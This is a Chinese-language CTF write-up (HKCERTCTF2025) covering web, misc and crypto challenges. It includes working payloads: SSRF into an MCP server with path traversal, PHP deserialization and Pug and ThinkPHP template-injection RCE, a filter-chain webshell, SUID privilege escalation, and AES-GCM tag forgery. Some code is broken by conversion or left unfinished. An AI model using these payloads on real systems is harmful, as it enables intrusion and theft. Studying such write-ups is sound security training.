6046 words
30 minutes
HKCERTCTF2025

web#

nettool#

目标环境包含多层服务架构:

  • 外部入口 (Port 80): 面向用户的 Web 应用。
  • 内部管理服务 (Port 5000): 运行在 127.0.0.1:5000,包含一个 /admin/nettools 接口,该接口允许发送 HTTP 请求(本身就是一个 SSRF 漏洞)。
  • MCP 服务器 (Port 9000): 运行在 127.0.0.1:9000,是一个基于 JSON-RPC 的 MCP 服务器,通常用于给 AI 模型提供上下文工具和资源。

我们需要构造一个“双重 SSRF”攻击链: User -> Port 80 (Web) -> Port 5000 (Admin NetTool) -> Port 9000 (MCP Server)

通过 SSRF 访问 MCP 服务器,我们利用 JSON-RPC 协议进行枚举。

初始化会话: 首先发送 initialize 请求建立连接并获取 Session ID。

发现 Flag 位置: 调用 prompts/list 方法:

{
"jsonrpc": "2.0",
"method": "prompts/list",
"id": 1
}

响应中包含一个名为 where_is_flag 的 prompt,其描述直接告诉我们 Flag 位于 /root/1ffflllaaaggg

发现文件读取能力: 调用 resources/templates/list 方法:

{
"jsonrpc": "2.0",
"method": "resources/templates/list",
"id": 2
}

响应揭示了一个资源模板:

  • URI Template: base64://tmp/{filename}
  • 描述: “Get the /tmp file in base64 encoding.”

这意味着我们可以通过构造以 base64://tmp/ 开头的 URI 来读取 /tmp 目录下的文件。

直接尝试读取 base64://root/1ffflllaaaggg 会失败,因为该 URI 不匹配 base64://tmp/{filename} 模板。

我们需要利用 {filename} 参数进行路径遍历,以此访问 /tmp 目录之外的文件。

尝试 1 (失败): Payload: base64://tmp/../root/1ffflllaaaggg 结果: 失败。MCP 服务器或底层库(如 httpxanyio)可能对标准路径遍历字符 ../ 进行了规范化处理或拦截。

尝试 2 (成功 - URL 编码绕过): 我们将路径分隔符和点号进行 URL 编码: Payload: base64://tmp/..%2froot%2f1ffflllaaaggg (其中 / 被编码为 %2f)

发送请求:

{
"jsonrpc": "2.0",
"method": "resources/read",
"params": {
"uri": "base64://tmp/..%2froot%2f1ffflllaaaggg"
},
"id": 3
}

服务器成功解析了编码后的路径,越权读取了 /root/1ffflllaaaggg 文件,并返回了 Base64 编码的内容。

exp:

read_payload = {
"jsonrpc": "2.0",
"method": "resources/read",
"params": {
"uri": "base64://tmp/..%2froot%2f1ffflllaaaggg"
},
"id": 5002
}
resp = send_double_ssrf("http://127.0.0.1:9000", method="POST", body=json.dumps(read_payload))
content = parse_mcp_response(resp)
flag_base64 = content['result']['contents'][0]['text']
flag = base64.b64decode(flag_base64).decode()
print(flag)

r#

打开题目链接,页面展示了 PHP 源码。核心逻辑如下:

  1. 入口点 :

    $payload = $_GET['p'] ??
    'O:14:"RequestHandler":N';
    @unserialize($payload);

    存在反序列化漏洞,我们可以控制 $payload 。

  2. 目标类 RequestHandler :

    • __construct() :初始化 $this->processor 为一个匿名类对象。这个匿名类的构造函数会调用 tmpfile() 创建一个文件句柄(Resource)。
    • __destruct() :析构函数,会将 $this->action 当作回调函数执行。
  3. 匿名类逻辑 :

    • execute() :这是我们要达到的目标,它执行 system($_GET[‘cmd’]) 。

    • 防御机制 :

      if (!is_resource($this->handle)) {
      die("Invalid resource
      state<br>");
      }
      ``` 它检查 $this->handle 是否为有效的资源。
    • 序列化陷阱 :

      public function __wakeup() {
      $this->handle = null;
      }
      ``` 当对象被反序列化时, __wakeup 会被调用,将 $handle 置为 null 。而且,PHP 中 Resource 类型本身是无法被序列化的(序列化后会变成 int 0 或 null),所以直接反序列化得到的对象,其 handle 一定无效。

核心难点 :如何绕过 is_resource($this->handle) 的检查?

由于反序列化出来的对象 handle 必定无效,我们需要让代码 在服务端现场运行 __construct() ,生成一个新的、带有有效 Resource 的匿名对象,并让析构函数调用这个新对象的 execute 方法。

利用链构造 :

  1. 我们需要两个 RequestHandler 对象,记为 A 和 B。
  2. 利用 A 的析构函数 ( __destruct ) 去调用 B 的构造函数 ( __construct )。
    • 设置 A 的 action[action 为 [b, “__construct”] 。
    • 这样当脚本结束 A 被销毁时,B 会重新初始化,B 内部的 $processor 会被赋值为一个 全新的、带有有效 Resource 的匿名对象 。
  3. 利用 B 的析构函数去执行这个新对象的 execute 方法。
    • 设置 B 的 action 为 [& \b->processor, “execute”] 。
    • 关键点 :这里必须使用 引用 ( & )。
    • 如果不由引用, action数组中保存的将是B此时(序列化时)的action 数组中保存的将是 B 此时(序列化时)的 processor (即 null 或无效对象)。
    • 使用引用后,当 A 触发 B->__construct() 更新了 B->processor 时, B->action 数组中的第一个元素也会随之指向这个新的匿名对象。
  4. 当 B 析构时,执行 cb()cb() 即 b->processor->execute() ,此时检查通过,命令执行。
<?php
class RequestHandler {
public $processor;
public $action;
}
// 对象 B:负责执行命令
$b = new RequestHandler();
// 这里的 processor 先占位,反序列化后会是
null
$b->processor = null;
// 关键:将 action 的第一个元素设为对
processor 的引用
// 这样当 B->__construct 被调用,processor
更新时,action 也会指向新的 processor
$b->action = [&$b->processor, "execute"];
// 对象 A:负责触发 B 的重置
$a = new RequestHandler();
// A 析构时调用 B 的构造函数
$a->action = [$b, "__construct"];
$a->processor = null;
echo urlencode(serialize($a));
Terminal window
http://web-968f16e3be.challenge.xctf.org.cn:80/?cmd=cat /flag&p=[生成的Payload]
执行结果显示: flag{khL93MLMhRMo4wtUvcWxOTxIEQ9aaDrh}

react#

image-20251220104254398

https://github.com/Spritualkb/CVE-2025-55182-exp

ezjs#

这道题目主要包含两个漏洞利用点: Prototype Pollution (原型链污染) 和 SSTI (服务端模板注入) 。

  1. 题目分析与源码审计 通过扫描发现源码泄露(或题目直接提供源码),主要逻辑在 app.js 和 package.json 中。
  • package.json :

    "dependencies": {
    "json5": "2.2.1",
    "pug": "^3.0.2",
    ...
    }

    注意到使用了 json5 库,版本 2.2.1 存在已知的原型链污染漏洞。

  • app.js (登录逻辑) :

    app.post('/login',(req,res)=>{
    let userinfo=JSON.stringify(req.
    body)
    const user = JSON5.parse
    (userinfo) // 漏洞点1:使用 JSON5 解
    if (waf(user, ['admin'])) { // WAF
    检查
    req.session.user = user
    if(req.session.user.admin ==
    true){ // 目标:让这里为 true
    req.session.user = 'admin'
    res.send('hello,admin')
    }
    ...

    waf 函数只检查 Object.keys(obj) ,即对象自身的属性。

  • app.js (渲染逻辑) :

    app.post('/render',(req,res)=>{
    if (req.session.user === 'admin'){
    var word = req.body.word
    const blacklist = ['require',
    'exec'] // 黑名单
    // ... 黑名单检查 ...
    var hello = 'welcome ' + word
    res.send(pugjs.render
    (hello)) // 漏洞点2:Pug 模板注入
    }
    ...
    ``` 2. 漏洞利用步骤
    第一步:利用 Prototype Pollution 绕过登录验证

由于 waf 只检查对象自身的 key,我们可以利用 json5 的漏洞污染原型链,给 Object.prototype 添加 admin 属性。这样 user 对象本身没有 admin 属性(绕过 WAF),但读取 user.admin 时会从原型链上获取到 true (通过验证)。

  • Payload (POST /login) :

    {
    "__proto__": {
    "admin": true
    }
    }
    ``` 发送此请求后,服务器会设置包含 admin 权限的 Session。
    第二步:利用 SSTI 读取 Flag

获取 Admin Session 后,可以访问 /render 接口。这里存在 Pug 模板注入,但过滤了 require 和 exec 关键字。我们可以利用字符串拼接来绕过黑名单,并通过 Node.js 的 child_process 执行系统命令。

  • 绕过思路 : 使用 global.process.mainModule.require (或 root.process… ) 来引入模块。 将 require 拆分为 ‘re’ + ‘quire’ 来绕过字符串检测。

  • Payload (POST /render) :

    {
    "word": "#{global.process.
    mainModule['re'+'quire']
    ('child_process').spawnSync('cat',
    ['/flag']).stdout.toString()}"
    }

    exp

import requests
url = "http://web-6704f79fa6.challenge.
xctf.org.cn:80"
s = requests.Session()
# 1. Prototype Pollution 登录
headers = {"Content-Type": "application/
json"}
data_login = '{"__proto__": {"admin":
true}}'
s.post(f"{url}/login", data=data_login,
headers=headers)
# 2. SSTI 读取 Flag
# 构造 Payload: global.process.mainModule.
require('child_process').spawnSync('cat',
['/flag']).stdout.toString()
payload = "#{global.process.mainModule
['re'+'quire']('child_process').spawnSync
('cat', ['/flag']).stdout.toString()}"
data_render = {"word": payload}
response = s.post(f"{url}/render",
json=data_render)
print(response.text)
# Flag : flag{1grCxYZ1Wn6NAdObTj6v9NyhutotukTo}

easy-lua#

题目提供了一个 “Online Lua Executor” 网页,允许用户输入 Lua 代码并在服务端执行。我们的目标是利用这个执行环境找到并读取 Flag。首先,我们需要了解 Lua 运行环境中都有哪些可用的函数和变量。我们可以通过遍历 Lua 的全局表 _G 来查看环境信息。

Payload (Lua代码):

for k,v in pairs(_G) do
print(k,v)
end

执行结果分析: 在输出的全局变量列表中,除了标准的 print , table , string 等库函数外,我们发现了几个非标准的自定义函数:

  • getFileList : 看起来用于获取文件列表
  • getFileContent : 看起来用于获取文件内容
  • S3cr3t0sEx3cFunc : 这个名字非常可疑 (Secret Exec Func),暗示可能是一个用于执行命令的后门函数。

我们重点关注 S3cr3t0sEx3cFunc ,尝试猜测它的功能。通常这类 CTF 题目中的 “Exec” 函数是指执行系统 Shell 命令。

Payload:

print(S3cr3t0sEx3cFunc("whoami"))

执行结果:

root

返回了 root ,这证实了该函数存在 RCE (远程代码执行) 漏洞,并且我们拥有 root 权限。

现在我们可以执行任意命令,接下来就是寻找 flag 文件。

步骤 1: 查找 Flag 文件位置 使用 find 命令在整个系统中搜索名称包含 “flag” 的文件。

Payload:

print(S3cr3t0sEx3cFunc("find / -name
flag*"))

执行结果:

/flag
... (其他包含flag的系统文件)

我们发现根目录下有一个 /flag 文件。

步骤 2: 读取 Flag 内容 使用 cat 命令读取该文件。

Payload:

print(S3cr3t0sEx3cFunc("cat /flag"))
flag{aQWDVMBMW0jx3by8tRm9DUPO720Aw4r9}

renderme#

访问目标网站,发现 URL 参数 ?name=... 会被回显在页面上。 尝试输入 {{7*7}},页面报错,暴露出使用了 ThinkPHP 8.1.3 框架。

通过 ThinkPHP 的报错信息或尝试读取源码,我们确认了 index.php 的内容。使用 php://filter 伪协议读取 index.php 源码(需要绕过 WAF,或者直接盲测):

// 关键代码逻辑
$blacklist = '/system|exec|passthru|shell_exec|popen|proc_open|include|pcntl|eval|assert|call_user_func|create_function|putenv|getenv|error_log|dl|mail|symlink|link|chroot|scandir|dir|glob|readfile|file_get_contents|highlight_file|show_source|fopen|flag|cat|php|\(|\)|\'|\"|`/i';
if (preg_match($blacklist, $name)) {
die("Hacker detected!...");
}
return View::display("Hello, " . $name);

代码直接将用户输入传入 View::display,导致了 Server-Side Template Injection (SSTI) 漏洞。 但是存在一个非常严格的黑名单,过滤了几乎所有命令执行函数、括号 ()、引号 ''"" 以及 flag 关键字。

由于无法直接调用函数(括号被过滤),我们需要寻找不使用括号的执行方式。 ThinkPHP 的模板引擎支持标签语法。我们可以利用 {if}{foreach} 标签。

为了执行任意代码,我们采用 文件上传 + 文件包含 的策略:

  1. 构造一个 POST 请求,上传一个包含恶意 PHP 代码的文件(例如 payload.php)。
  2. 在 URL 的 name 参数中,利用 ThinkPHP 模板标签遍历 $_FILES 数组,获取上传文件的临时路径。
  3. 利用 require 包含这个临时文件(require 在 PHP 中是语言结构,不需要括号,且不在黑名单中)。
?name={foreach $_FILES as $f}{foreach $f as $k=>$v}{foreach $_POST as $p}{if $k==$p}{if require $v}X{/if}{/if}{/foreach}{/foreach}{/foreach}
  • 外层循环遍历 $_FILES
  • 内层循环遍历文件属性。
  • 配合 POST 参数 target=tmp_name,当找到 tmp_name 键时,执行 require $v(即包含临时文件)。

Payload.php 内容:

<?php
system('id'); // 测试命令
?>

攻击命令:

Terminal window
curl -g "http://TARGET/?name={foreach%20\$_FILES%20as%20\$f}{foreach%20\$f%20as%20\$k=>\$v}{foreach%20\$_POST%20as%20\$p}{if%20\$k==\$p}{if%20require%20\$v}X{/if}{/if}{/foreach}{/foreach}{/foreach}" -F "file=@payload.php" -F "target=tmp_name"

成功执行命令,获得 www-data 权限。

提权

获得 Shell 后,尝试读取 /flag/root/flag 失败(权限不足)。 进行信息收集,查找具有 SUID 权限的文件:

Terminal window
find / -perm -4000 2>/dev/null

输出结果中包含:

/usr/bin/choom
...

/usr/bin/choom 是一个用于调整进程 OOM-killer 评分的工具。通常它不需要 SUID 权限。 检查其权限:

Terminal window
ls -la /usr/bin/choom
# -rwsr-xr-x 1 root root ...

发现它是 SUID root 的。

利用 choom 执行命令: choom 可以运行命令,如果它有 SUID 权限,运行的命令将继承 root 权限。

测试提权:

Terminal window
/usr/bin/choom --adjust 0 id
# uid=33(www-data) gid=33(www-data) euid=0(root) ...

可以看到 euid=0(root),提权成功。

利用 root 权限读取 flag:

Terminal window
/usr/bin/choom --adjust 0 cat /root/flag

flag{xINPqcZCdNoGOxoOHb9GcmPVry30ClWu}

insph#

<?php
error_reporting(0);
session_start();
// ... (定义了 FileUpload, FileView, UserLogin, SystemTool 等类) ...
// 数据处理
if (isset($_GET['data'])) {
$data = $_GET['data'];
// 黑名单过滤
if (preg_match("/zip|phar|uploads/i", $data)){
exit("Don't use dangerous protocol!");
}
// 关键漏洞点:读取 data 指向的内容并写回 data 指向的路径
file_put_contents($data, file_get_contents($data));
echo "Data processed successfully!";
exit;
}
?>
漏洞点:file_put_contents($data, file_get_contents($data));
?data=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...|convert.base64-decode/resource=shell.php

file_get_contents 解析伪协议,执行我们构造的编码转换链,最终生成了 这个字符串。file_put_contents 将生成的字符串写入到 shell.php 执行命令,可得flag

misc#

Protocol#

协议逆向分析,通过对服务端的交互和回显分析,我们还原了私有协议的头部结构。协议基于 TCP + SSL/TLS 传输,所有数据包采用如下的小端序(Little-Endian)结构:

struct Header {
char magic[4]; // 0xe6, 0x13, 0x04, 0x34
uint8_t version; // 0x78
uint8_t type; // 包类型 (0x01=Handshake, 0x03=Plaintext)
uint64_t timestamp; // 8字节时间戳
uint16_t seq; // 2字节序列号
uint32_t length; // 4字节包体长度
};

每个数据包之后通常跟随一个 \n 换行符作为结束/分隔。关键逻辑:Sequence Number (Seq),协议要求严格的序列号同步。服务端和客户端维护同一个 seq 计数器:

  • 每次发送或接收数据包,seq 都会递增。
  • 在一个完整的请求-响应(Roundtrip)中,seq 会增加 2(发送+1,接收+1)。
  • 如果 seq 不匹配,连接会被服务端断开。

接下来是密钥协商

发送 help 命令可以看到 negotiate 选项,提示使用 Diffie-Hellman (DH) 进行密钥交换。

DH 参数

通过分析或尝试标准组,确认使用的是 RFC 3526 Group 5 (1536-bit) 标准参数。

  • P: RFC 3526 定义的 1536-bit 素数。
  • G: 生成元 2。

协商流程

  1. 客户端发送: 构造 DH 公钥 A=ga(modP)A = g^a \pmod P,将 AA 转换为 192 字节(大端序),通过 TYPE_HANDSHAKE (0x01) 数据包发送。
  2. 服务端响应: 返回其 DH 公钥 BB(192 字节)。
  3. 计算共享密钥: 客户端计算共享密钥 S=Ba(modP)S = B^a \pmod P

密钥派生

通过对已知明文(如 help 命令的加密响应)或离线爆破,确定会话密钥的派生方式为: Session Key=SHA256(Shared Secret (Big Endian))\text{Session Key} = \text{SHA256}(\text{Shared Secret (Big Endian)}) 即取共享密钥的大端字节序的 SHA256 哈希值作为 AES 密钥。

在协商完成后,发送 readflag 命令(可以使用 TYPE_PLAINTEXT 类型发送明文请求)。服务端会返回一段加密数据。

加密分析

通过观察加密数据的长度和特征(无填充特征,长度变化),推测使用流加密或 GCM 模式。 对加密的 Flag 响应包体进行分析:

  • Nonce (IV): 包体的前 12 字节。
  • Tag: 包体的最后 16 字节。
  • Ciphertext: 中间部分。

这符合 AES-GCM 的标准结构。

解密步骤

  1. 提取 Nonce, Ciphertext, Tag。
  2. 使用派生的 Session Key 和 AES-GCM 模式进行解密。
  3. 获得明文 Flag。
# 1. 建立 SSL 连接并同步 Sequence
magic, ver, ptype, ts, seq, body = recv_pkt(ss)
# 2. 发送 DH 公钥 A
a = bytes_to_long(os.urandom(192)) % (P - 1)
A = pow(G, a, P)
send_pkt(ss, ts, seq + 1, TYPE_HANDSHAKE, long_to_bytes(A, 192))
# 3. 接收公钥 B 并计算 Session Key
_, _, _, rts, rseq, B_bytes = recv_pkt(ss)
B = bytes_to_long(B_bytes)
S = pow(B, a, P)
session_key = sha256(long_to_bytes(S, 192)).digest()
# 4. 发送 readflag 请求
send_pkt(ss, rts, rseq + 1, TYPE_PLAINTEXT, b'readflag')
# 5. 接收并解密 Flag (AES-GCM)
_, _, _, _, _, enc_body = recv_pkt(ss)
nonce = enc_body[:12]
ciphertext = enc_body[12:-16]
tag = enc_body[-16:]
cipher = AES.new(session_key, AES.MODE_GCM, nonce=nonce)
flag = cipher.decrypt(ciphertext)
print(flag)
# flag{QkIyDyHKvsf21le0jy4BgHS4L0lAWFcf}

crypto#

Loss N#

1. 恢复 ϕ(n)\phi(n)

RSA 的核心关系式为:ed1(modϕ(n))e \cdot d \equiv 1 \pmod{\phi(n)} 这意味着存在一个整数 kk,满足:e \cdot d - 1 = k \cdot \phi(n)$$

由于 e=65537e = 65537 比较小,kk 的取值范围大致在 (1,e)(1, e) 之间。我们可以通过爆破 kk 来尝试恢复 ϕ(n)\phi(n)ϕ(n)=ed1k\phi(n) = \frac{e \cdot d - 1}{k}

2. 分解 ϕ(n)\phi(n) 得到 pp

根据题目条件 q=next_prime(p)q = \text{next\_prime}(p),说明 ppqq 非常接近。ϕ(n)=(p1)(q1)p2\phi(n) = (p-1)(q-1) \approx p^2 因此,我们可以通过对 ϕ(n)\phi(n) 开方得到 pp 的近似值:pϕ(n)p \approx \sqrt{\phi(n)}

3. 搜索与验证

我们计算出的 papprox=isqrt(ϕ(n))p_{approx} = \text{isqrt}(\phi(n)) 会略大于或等于真实的 pp(因为 ϕ(n)<n=pqp2\phi(n) < n = p \cdot q \approx p^2 其实 ϕ(n)p2\phi(n) \approx p^2 依然成立,但 (p1)(q1)(p-1)(q-1) 略小于 p2p^2qpq \approx p)。更精确地说,由于 q>pq > p,则 (p1)(q1)>(p1)2(p-1)(q-1) > (p-1)^2,所以 ϕ>p1\sqrt{\phi} > p-1。我们可以从 papproxp_{approx} 开始向下小范围搜索 pp

对于每一个猜测的 pp

  1. 验证 (p1)(p-1) 是否能整除 ϕ(n)\phi(n)
  2. 计算对应的 q=ϕ(n)p1+1q = \frac{\phi(n)}{p-1} + 1
  3. 验证 ppqq 是否均为素数。
  4. 验证是否满足 q=next_prime(p)q = \text{next\_prime}(p)

exp

from Crypto.Util.number import long_to_bytes
import gmpy2
# 题目数据
c = 30552929401084215063034197070424966877689134223841680278066312021587156531434892071537248907148790681466909308002649311844930826894649057192897551604881567331228562746768127186156752480882861591425570984214512121877203049350274961809052094232973854447555218322854092207716140975220436244578363062339274396240
d = 3888417341667647293339167810040888618410868462692524178646833996133379799018296328981354111017698785761492613305545720642074067943460789584401752506651064806409949068192314121154109956133705154002323898970515811126124590603285289442456305377146471883469053362010452897987327106754665010419125216504717347373
e = 0x10001
print("正在搜索 k...")
# 遍历 k 来寻找 phi
for k in range(1, e):
if (e * d - 1) % k == 0:
phi = (e * d - 1) // k
# 利用 phi 近似计算 p
# phi = (p-1)(q-1) approx p^2
p_approx = gmpy2.isqrt(phi)
# 在近似值附近搜索 p
p = p_approx
for i in range(20000):
if phi % (p - 1) == 0:
q_minus_1 = phi // (p - 1)
q = q_minus_1 + 1
# 验证素数和 next_prime 条件
if gmpy2.is_prime(p) and gmpy2.is_prime(q):
if q == gmpy2.next_prime(p):
print(f"找到 k = {k}")
print(f"p = {p}")
print(f"q = {q}")
n = p * q
m = pow(int(c), int(d), int(n))
try:
flag = long_to_bytes(m)
print(f"Flag: {flag.decode()}")
exit(0)
except:
pass
p -= 1
# flag{Y0u_kNow_h0w_7o_f4cTor1z3_phI}

ComCompleXX#

题目实现了一个基于四元数(Quaternion)环上的 RSA 密码系统。

  • n=p×qn = p \times q,其中 p,qp, q 为 512 位素数。
  • ee 是公钥指数,非常大(约 3070 位)。
  • dd 是私钥指数,题目提示 d_len: 500,即 dd 只有 500 位左右。
  • 加密过程:C=Me(modn)C = M^e \pmod n,运算在四元数环上进行。

在四元数环 H(Zn)\mathbb{H}(\mathbb{Z}_n) 中,群的阶(Order)与 p(p21)p(p^2-1) and q(q21)q(q^2-1) 有关。 具体来说,该群的指数(Exponent,即所有元素的阶的最小公倍数)λ\lambda 为: λ=lcm(p(p21),q(q21))\lambda = \text{lcm}(p(p^2-1), q(q^2-1))

近似来看:λp3q3=n3\lambda \approx p^3 q^3 = n^3

根据 RSA 的解密条件:ed1(modλ)ed \equiv 1 \pmod \lambda 即存在整数 kk 使得:ed=kλ+1ed = k\lambda + 1

由于 en3e \approx n^3λn3\lambda \approx n^3,我们可以推测 en3kd\frac{e}{n^3} \approx \frac{k}{d}。 又因为 dd 非常小(500位),这符合 Wiener’s Attack(维纳攻击)的场景。我们可以利用连分数展开 en3\frac{e}{n^3} 来寻找 k/dk/d

更精确地分析 λ\lambdaλ(p3p)(q3q)p3q3pq(p2+q2)n3n(p2+q2)\lambda \approx (p^3-p)(q^3-q) \approx p^3q^3 - pq(p^2+q^2) \approx n^3 - n(p^2+q^2)

代入 edkλed \approx k\lambdaedk(n3n(p2+q2))ed \approx k(n^3 - n(p^2+q^2))en3kd(1p2+q2n2)\frac{e}{n^3} \approx \frac{k}{d} (1 - \frac{p^2+q^2}{n^2})

由于 p,qn1/2p, q \approx n^{1/2},故 p2+q2n22nn22n\frac{p^2+q^2}{n^2} \approx \frac{2n}{n^2} \approx \frac{2}{n},这是一个非常小的项,不影响连分数攻击的有效性。

  1. 连分数攻击: 对 en3\frac{e}{n^3} 进行连分数展开,计算渐进分数,作为 kd\frac{k}{d} 的候选值。

  2. 恢复 p,qp, q: 对于每一组候选 (k,d)(k, d),我们可以估算 λ\lambda 的一部分。 由 ed1=kYed - 1 = k \cdot Y,其中 YλY \approx \lambda。我们有 Yn3n(p2+q2)Y \approx n^3 - n(p^2+q^2)。从而可以计算出 S=p2+q2n3YnS = p^2 + q^2 \approx \frac{n^3 - Y}{n}

    有了 p2+q2p^2+q^2p2q2=n2p^2q^2 = n^2,我们可以构造一元二次方程求解 p2p^2q2q^2X2(p2+q2)X+(pq)2=0X^2 - (p^2+q^2)X + (pq)^2 = 0,解出 p2p^2 后开方即可得到 pp,进而得到 qq

  3. 解密: 得到 p,qp, q 后,计算准确的 λ=lcm(p(p21),q(q21))\lambda = \text{lcm}(p(p^2-1), q(q^2-1))。计算私钥 d=e1(modλ)d = e^{-1} \pmod \lambda。使用私钥对密文进行四元数幂模运算解密。

利用连分数恢复 p,qp, q

from Crypto.Util.number import *
import math
n =
e =
def continued_fraction(numerator, denominator):
while denominator:
q = numerator // denominator
yield q
numerator, denominator = denominator, numerator % denominator
def convergents(cf):
n0, d0 = 0, 1
n1, d1 = 1, 0
for q in cf:
n2, d2 = q * n1 + n0, q * d1 + d0
yield n2, d2
n0, d0 = n1, d1
n1, d1 = n2, d2
def is_perfect_square(n):
if n < 0: return False
x = int(math.isqrt(n))
return x * x == n
def solve_quadratic(a, b, c):
# ax^2 + bx + c = 0
delta = b*b - 4*a*c
if delta < 0: return None
if not is_perfect_square(delta): return None
sqrt_delta = math.isqrt(delta)
if ( -b + sqrt_delta ) % (2*a) == 0:
return ( -b + sqrt_delta ) // (2*a)
return None
cf = continued_fraction(e, n**3)
convs = convergents(cf)
for K, d in convs:
if d == 0: continue
if K == 0: continue
# Check if d is around 500 bits
if d.bit_length() > 510:
# We can stop if d gets too large, but let's check a bit further just in case
if d.bit_length() > 520:
break
# Y = (ed - 1) / K
# Y = n^3 - n(p^2+q^2) + n
# n(p^2+q^2) = n^3 + n - Y
if (e*d - 1) % K != 0:
continue
Y = (e*d - 1) // K
val = n**3 + n - Y
if val % n != 0:
continue
sum_sq = val // n # p^2 + q^2
# We have p^2 + q^2 = sum_sq
# We have p^2 * q^2 = n^2
# Z^2 - sum_sq * Z + n^2 = 0 (roots are p^2, q^2)
res = solve_quadratic(1, -sum_sq, n**2)
if res:
p2 = res
if is_perfect_square(p2):
p = math.isqrt(p2)
if n % p == 0:
print(f"Found p: {p}")
q = n // p
print(f"Found q: {q}")
# Verify d
# We need to construct the QN class and decrypt
break
else:
print("Failed to find p, q")

利用恢复的 p,qp, q 解密 flag。

from Crypto.Util.number import *
n =
e =
c_tuple =
p =
q =
class QN:
def __init__(self, a, b, c, d, n):
self.a = a % n
self.b = b % n
self.c = c % n
self.d = d % n
self.n = n
def __mul__(self, other):
if isinstance(other, QN) and self.n == other.n:
n = self.n
a1, b1, c1, d1 = self.a, self.b, self.c, self.d
a2, b2, c2, d2 = other.a, other.b, other.c, other.d
a = (a1*a2 - b1*b2 - c1*c2 - d1*d2) % n
b = (a1*b2 + b1*a2 + c1*d2 - d1*c2) % n
c = (a1*c2 - b1*d2 + c1*a2 + d1*b2) % n
d = (a1*d2 + b1*c2 - c1*b2 + d1*a2) % n
return QN(a, b, c, d, n)
return NotImplemented
def __pow__(self, exp):
if exp <= 0:
return QN(1, 0, 0, 0, self.n)
result = QN(1, 0, 0, 0, self.n)
base = self
while exp > 0:
if exp & 1:
result = result * base
base = base * base
exp >>= 1
return result
def __repr__(self):
return f"({self.a}, {self.b}, {self.c}, {self.d})"
def LCM(a, b):
return abs(a*b) // GCD(a,b)
lam_p = p * (p**2 - 1)
lam_q = q * (q**2 - 1)
lam = LCM(lam_p, lam_q)
d = inverse(e, lam)
print(f"Recovered d bits: {d.bit_length()}")
c = QN(c_tuple[0], c_tuple[1], c_tuple[2], c_tuple[3], n)
m = pow(c, d)
try:
print(long_to_bytes(m.a))
except:
print("Failed to convert m.a to bytes")
print(m.a)
# flag{Qu4t3rNion_l5_S0_6rea7_&_Ch4rm1n9}

POC#

  1. 服务器提供了一个 PaddingOracleClass 类。
  2. 用户可以更新 nonce,每次更新后 cnt 重置为 2。
  3. registerlogin 操作都会消耗 cnt
  4. 漏洞点:在同一个 nonce 下,我们可以进行两次 register 操作。这意味着我们可以获得两组使用相同 Key 和 Nonce 加密的 (Ciphertext, Tag) 对。

漏洞原理

AES-GCM 是一种流加密模式(CTR)加上认证(GMAC)。

  1. 加密 (Encryption):C=PKeystreamC = P \oplus \text{Keystream} Keystream 由 Key 和 Nonce 生成。如果 Key 和 Nonce 不变,Keystream 也不变。

  2. 认证 (Authentication): GCM 的 Tag 计算基于 GHASH 函数:T=GHASHH(A,C)EK(J0)T = \text{GHASH}_H(A, C) \oplus E_K(J_0) 其中 H=EK(0)H = E_K(0) 是认证密钥,EK(J0)E_K(J_0) 是用于掩盖 Tag 的掩码。

    对于单块(或忽略长度块影响的简化模型),GHASH 大致结构为多项式求值。在本题中,没有关联数据 (AAD),且假设我们关注密文块的影响。T=(CH2+LH)EK(J0)T = (C \cdot H^2 + L \cdot H) \oplus E_K(J_0) (注:实际 GCM 多项式更复杂,包含长度块 L,但在差分时常数项和相同长度的 L 会抵消)

攻击路径

第一步:恢复认证密钥 H

当我们使用相同的 Nonce 注册两个不同的用户名时:

  • 第一组:(C1,T1)(C_1, T_1)
  • 第二组:(C2,T2)(C_2, T_2)

由于 Nonce 相同,EK(J0)E_K(J_0) 相同。T1T2=GHASHH(C1)GHASHH(C2)T_1 \oplus T_2 = \text{GHASH}_H(C_1) \oplus \text{GHASH}_H(C_2)

利用 GCM 的线性性质(在 GF(2^128) 上):T1T2=(C1C2)H2T_1 \oplus T_2 = (C_1 \oplus C_2) \cdot H^2

由此我们可以解出 H2H^2,进而求平方根得到 HHH2=(T1T2)(C1C2)1H^2 = (T_1 \oplus T_2) \cdot (C_1 \oplus C_2)^{-1}

第二步:伪造 Admin Token

得到 HH 后,我们就可以伪造任意密文的 Tag。

  1. 更新 Nonce(重置 cnt),并注册一个新的随机用户 P3P_3,得到 (C3,T3)(C_3, T_3)

  2. 获取密钥流K=C3P3K = C_3 \oplus P_3

  3. 伪造密文: 目标明文 Padmin=pad(b"admin")P_{admin} = \text{pad(b"admin")} Cadmin=PadminKC_{admin} = P_{admin} \oplus K

  4. 伪造 Tag: 利用已知的 (C3,T3)(C_3, T_3) 和目标 CadminC_{admin} 计算差分: TadminT3=(CadminC3)H2T_{admin} \oplus T_3 = (C_{admin} \oplus C_3) \cdot H^2 Tadmin=T3((CadminC3)H2)T_{admin} = T_3 \oplus ((C_{admin} \oplus C_3) \cdot H^2)

  5. 发送伪造的 Token (Cadmin,Tadmin)(C_{admin}, T_{admin}) 进行登录,即可通过验证并获取 Flag。

exp

我们需要实现 GF(2128)GF(2^{128}) 上的运算(加法、乘法、求逆、开方)。

  1. GF(2128)GF(2^{128})运算库
def bytes_to_long(b):
return int.from_bytes(b, 'big')
def long_to_bytes(n):
return n.to_bytes(16, 'big')
class GField:
def __init__(self, val=0):
self.val = val
def __add__(self, other):
return GField(self.val ^ other.val)
def __mul__(self, other):
x = self.val
y = other.val
res = 0
for i in range(128):
if (y >> (127 - i)) & 1:
res ^= x
if x & 1:
x = (x >> 1) ^ 0xE1000000000000000000000000000000
else:
x >>= 1
return GField(res)
def pow(self, n):
res = GField(1 << 127)
pass
def gcm_mul(a, b):
# a and b are 128-bit integers
p = 0
for i in range(128):
if (b >> i) & 1:
p ^= a
if (a >> 127) & 1:
a = (a << 1) ^ 0xE1
else:
a <<= 1
return p
def gf_mult(x, y):
p = 0
for i in range(128):
if (y >> i) & 1:
p ^= x
if (x >> 127) & 1:
x = (x << 1) ^ 135
else:
x <<= 1
return p
def reverse_bits(n):
# Reverse bits of 128-bit integer
s = bin(n)[2:].zfill(128)
return int(s[::-1], 2)
def gcm_to_poly(n):
return reverse_bits(n)
def poly_to_gcm(n):
return reverse_bits(n)
# Now standard arithmetic:
def gf_mul(a, b):
p = 0
mask = (1 << 128) - 1
for i in range(128):
if (b >> i) & 1:
p ^= a
if (a >> 127) & 1:
a = ((a << 1) ^ 135) & mask
else:
a = (a << 1) & mask
return p
